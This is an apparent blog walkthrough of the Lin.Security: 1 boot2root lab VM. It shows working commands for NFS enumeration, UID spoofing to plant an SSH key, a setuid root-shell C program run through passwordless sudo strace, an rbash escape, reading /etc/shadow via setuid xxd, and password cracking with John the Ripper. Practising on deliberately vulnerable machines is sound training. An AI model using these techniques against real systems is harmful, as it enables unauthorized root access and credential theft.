This post documents the complete walkthrough of Lin.Security: 1, a boot2root VM created by in.security, and hosted at VulnHub. If you are uncomfortable with spoilers, please stop reading now.

Background

Here at in.security we wanted to develop a Linux virtual machine that is based, at the time of writing, on an up-to-date Ubuntu distro (18.04 LTS), but suffers from a number of vulnerabilities that allow a user to escalate to root on the box. This has been designed to help understand how certain built-in applications and services if misconfigured, may be abused by an attacker.

We have configured the box to simulate real-world vulnerabilities (albeit on a single host) which will help you to perfect your local privilege escalation skills, techniques and toolsets. There are a number of challenges which range from fairly easy to intermediate level, and we’re excited to see the methods you used to solve them!

Information Gathering

Let’s start with a nmap scan to establish the available services in the host.

# nmap -n -v -Pn -p- -A --reason -oN nmap.txt 192.168.30.129
...
PORT      STATE SERVICE  REASON         VERSION
22/tcp    open  ssh      syn-ack ttl 64 OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 7a:9b:b9:32:6f:95:77:10:c0:a0:80:35:34:b1:c0:00 (RSA)
|   256 24:0c:7a:82:78:18:2d:66:46:3b:1a:36:22:06:e1:a1 (ECDSA)
|_  256 b9:15:59:78:85:78:9e:a5:e6:16:f6:cf:96:2d:1d:36 (ED25519)
111/tcp   open  rpcbind  syn-ack ttl 64 2-4 (RPC #100000)
| rpcinfo:
|   program version   port/proto  service
|   100000  2,3,4        111/tcp  rpcbind
|   100000  2,3,4        111/udp  rpcbind
|   100003  3           2049/udp  nfs
|   100003  3,4         2049/tcp  nfs
|   100005  1,2,3      41225/tcp  mountd
|   100005  1,2,3      44576/udp  mountd
|   100021  1,3,4      38947/tcp  nlockmgr
|   100021  1,3,4      59622/udp  nlockmgr
|   100227  3           2049/tcp  nfs_acl
|_  100227  3           2049/udp  nfs_acl
2049/tcp  open  nfs_acl  syn-ack ttl 64 3 (RPC #100227)
38947/tcp open  nlockmgr syn-ack ttl 64 1-4 (RPC #100021)
41225/tcp open  mountd   syn-ack ttl 64 1-3 (RPC #100005)
41683/tcp open  mountd   syn-ack ttl 64 1-3 (RPC #100005)
51813/tcp open  mountd   syn-ack ttl 64 1-3 (RPC #100005)

nmap finds 22/tcp and 111/tcp open. I don’t see the usual 80/tcp, which is unfortunate. We have to rely on other means to gain a foothold into the VM.

Network File System

Good thing for us, NFS is available. Using showmount, we can display the exports on the VM.

# showmount -e 192.168.30.129
Export list for 192.168.30.129:
/home/peter *

Let’s mount the remote directory.

# mkdir -p /mnt/peter
# mount -t nfs 192.168.30.129:/home/peter /mnt/peter
# ls -la /mnt/peter
total 32
drwxr-xr-x 5 1001 1005 4096 Jul 10 19:49 .
drwxr-xr-x 4 root root 4096 Aug 18 11:11 ..
-rw-r--r-- 1 1001 1005  220 Jul  9 19:53 .bash_logout
-rw-r--r-- 1 1001 1005 3771 Jul  9 19:53 .bashrc
drwx------ 2 1001 1005 4096 Jul 10 10:04 .cache
-rw-rw-r-- 1 1001 1005    0 Jul 10 10:04 .cloud-locale-test.skip
drwx------ 3 1001 1005 4096 Jul 10 10:04 .gnupg
drwxrwxr-x 3 1001 1005 4096 Jul 10 08:03 .local
-rw-r--r-- 1 1001 1005  807 Jul  9 19:53 .profile

Now that I’ve mapped /home/peter to /mnt/peter, let’s see if I create .ssh directory in /home/peter.

# mkdir -p /mnt/peter/.ssh
mkdir: cannot create directory ‘/mnt/peter/.ssh’: Permission denied

Hmm. Not even when I’m root? Let’s create a fake peter account with an UID of 1001 on my machine.

# useradd -u 1001 peter
# su peter
$ cd /mnt/peter
$ mkdir .ssh

Awesome. Now, I can put the SSH public key I control into /home/peter/.ssh/authorized_keys.

First, we generate the SSH Key pair on my machine.

# ssh-keygen -t rsa -b 2048
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa): peter
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in peter.
Your public key has been saved in peter.pub.
The key fingerprint is:
SHA256:TuGkIRfE6ODlItT4jp9ILW/8oGRTEa7JLCDI5dgKnMs [email protected]
The key's randomart image is:
+---[RSA 2048]----+
|  oo +o          |
|+oO.+ ..         |
|**.X. o o        |
|O B.+o = .       |
|.E+o  . S        |
|.+.o   o         |
|.+*..   .        |
|o.o*.            |
| .. ..           |
+----[SHA256]-----+

Next, we copy and paste the contents of peter.pub to /mnt/peter/.ssh/authorized_keys.

$ echo ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1rYFvo6Wh4j44p4s6WfDYb637m62zA0CwE5t9K6iKbosZMpeDBGP2q8C2O3yw2P9Dhv3jRPCutf1ruadaMxxiOY8Ook/3fwMcaueCAs0ThKCMRlnf0yzUnEHH7t82MrEghMnL4GfUcYlxIwo8d5jQe7umuJneYK786iDNEPaEajC45GQlrZWCzIWqs3B3vJBQ4FR766EHsmiKVWvQ35uR69/O39IePJQ8oSTF+PK0RoCtvmYt44jeqUO0NfYGeCGwqtYW/i+ILTOkW45bYRVjhmrJ2C+yjtK3bsmDiq28IT9STCFlkI7OqEfJkeYqBSJVqVqOkFFvx4+7fyTpchT/ > /mnt/peter/.ssh/authorized_keys

Open another terminal and log in to peter’s account with the SSH private key.

peter

Privilege Escalation

During enumeration of peter’s account, I found something interesting.

sudo

peter is able to sudo as root for /usr/bin/strace, used for tracing system calls and signals.

Holy cow. This means that I can do something like this—write a privilege escalation program and run it through strace with the blessing of sudo—all without password.

root.c
#include <stdlib.h>
#include <unistd.h>

int main() {
  setuid(0);
  setgid(0);
  system("/bin/bash");
}

Let’s give it a shot.

root

:dancer:

Afterthought

There’s more than one way of becoming root. The most obvious way is to log in with bob:secret as suggested in the VM’s description.

bob

Display /etc/passwd. Observe insecurity has its password hash in it and has root privileges

/etc/passwd

We can copy that line and send it to John the Ripper for offline cracking like this.

# john --format=crypt --show hash.txt
insecurity:[email protected]:0:0::/:/bin/sh

1 password hash cracked, 0 left

Another way is to discover susan’s password in her home directory either through bob’s account or peter’s account described above.

susan

You’ll soon notice that susan is using rbash or restricted bash. It’s almost trivial to escape from rbash—execute bash -i.

Now that we have escaped the restricted shell, something caught my eye while I was performing enumeration on susan’s account.

xxd

xxd can display the hexdump or convert to hexadecimal representation (through -p) of any file it has read permissions. Since xxd is setuid to root, we can use it to read /etc/shadow like so.

/etc/shadow

We can copy both /etc/passwd and /etc/shadow to our attacking machine for offline cracking with John the Ripper, in which case the root password is secret123.

# john --format=crypt --show hashes.txt
root:secret123:0:0:root:/root:/bin/bash
bob:secret:1000:1004:bob:/home/bob:/bin/bash
insecurity:[email protected]:0:0::/:/bin/sh

3 password hashes cracked, 2 left

I’m sure this is not exhaustive. Kudos to in.security for creating this VM. No better way to learn than hands-on practice.